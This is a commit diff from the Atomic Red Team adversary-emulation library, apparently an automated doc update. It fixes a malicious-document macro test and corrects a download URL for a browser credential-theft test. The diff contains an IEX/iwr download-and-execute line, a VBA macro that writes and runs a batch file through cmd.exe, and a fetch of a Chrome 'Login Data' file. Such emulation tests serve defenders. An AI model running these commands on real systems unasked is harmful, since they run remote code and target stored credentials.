security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Generated docs from job=generate-docs branch=master [ci skip]

Browse Source
This commit is contained in:
Atomic Red Team doc generator
2023-12-14 04:47:22 +00:00
parent 8bca554bc8
commit 2dcdc27df7
4 changed files with 14 additions and 8 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/Indexes/index.yaml
+5 -2
View File
@@ -48355,8 +48355,11 @@ execution:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"#{bat_path}`" For Output As #1`n Write #1, `"calc.exe`"`n Close #1`n a = Shell(`"cmd.exe /c $bat_path `", vbNormalFocus)`n"
$macrocode = " Open `"#{bat_path}`" For Output As #1`n Write #1, `"calc.exe`"`n Close #1`n a = Shell(`"cmd.exe /c #{bat_path} `", vbNormalFocus)`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}
cleanup_command: |
Remove-Item #{bat_path} -ErrorAction Ignore
Get-Process | Where-Object { $_.MainModule.FileName -like "*calculator*" } | Stop-Process
name: powershell
- name: Excel 4 Macro
auto_generated_guid: 4ea1fc97-8a46-4b4e-ba48-af43d2a98052
@@ -84958,7 +84961,7 @@ credential-access:
'
prereq_command: if (Test-Path "PathToAtomicsFolder\T1555.003\src\Login Data")
{exit 0} else {exit 1}
get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T155.003/src/LoginData?raw=true"
get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/Login%20Data?raw=true"
-Outfile: "PathToAtomicsFolder\T1555.003\src\Login Data"'
executor:
command: |
atomics/Indexes/windows-index.yaml
+5 -2
View File
@@ -39899,8 +39899,11 @@ execution:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"#{bat_path}`" For Output As #1`n Write #1, `"calc.exe`"`n Close #1`n a = Shell(`"cmd.exe /c $bat_path `", vbNormalFocus)`n"
$macrocode = " Open `"#{bat_path}`" For Output As #1`n Write #1, `"calc.exe`"`n Close #1`n a = Shell(`"cmd.exe /c #{bat_path} `", vbNormalFocus)`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}
cleanup_command: |
Remove-Item #{bat_path} -ErrorAction Ignore
Get-Process | Where-Object { $_.MainModule.FileName -like "*calculator*" } | Stop-Process
name: powershell
- name: Excel 4 Macro
auto_generated_guid: 4ea1fc97-8a46-4b4e-ba48-af43d2a98052
@@ -69460,7 +69463,7 @@ credential-access:
'
prereq_command: if (Test-Path "PathToAtomicsFolder\T1555.003\src\Login Data")
{exit 0} else {exit 1}
get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T155.003/src/LoginData?raw=true"
get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/Login%20Data?raw=true"
-Outfile: "PathToAtomicsFolder\T1555.003\src\Login Data"'
executor:
command: |
atomics/T1204.002/T1204.002.md
+3 -3
View File
@@ -273,13 +273,13 @@ Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}
```
#### Cleanup Commands:
```powershell
Remove-Item "#{bat_path}" -ErrorAction Ignore
Remove-Item #{bat_path} -ErrorAction Ignore
Get-Process | Where-Object { $_.MainModule.FileName -like "*calculator*" } | Stop-Process
```
#### Dependencies: Run with `powershell`!
##### Description: Microsoft #{ms_product} must be installed
##### Check Prereq Commands:
atomics/T1555.003/T1555.003.md
+1 -1
View File
@@ -893,7 +893,7 @@ if (Test-Path "PathToAtomicsFolder\T1555.003\src\Login Data") {exit 0} else {exi
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T155.003/src/LoginData?raw=true" -Outfile: "PathToAtomicsFolder\T1555.003\src\Login Data"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/Login%20Data?raw=true" -Outfile: "PathToAtomicsFolder\T1555.003\src\Login Data"
```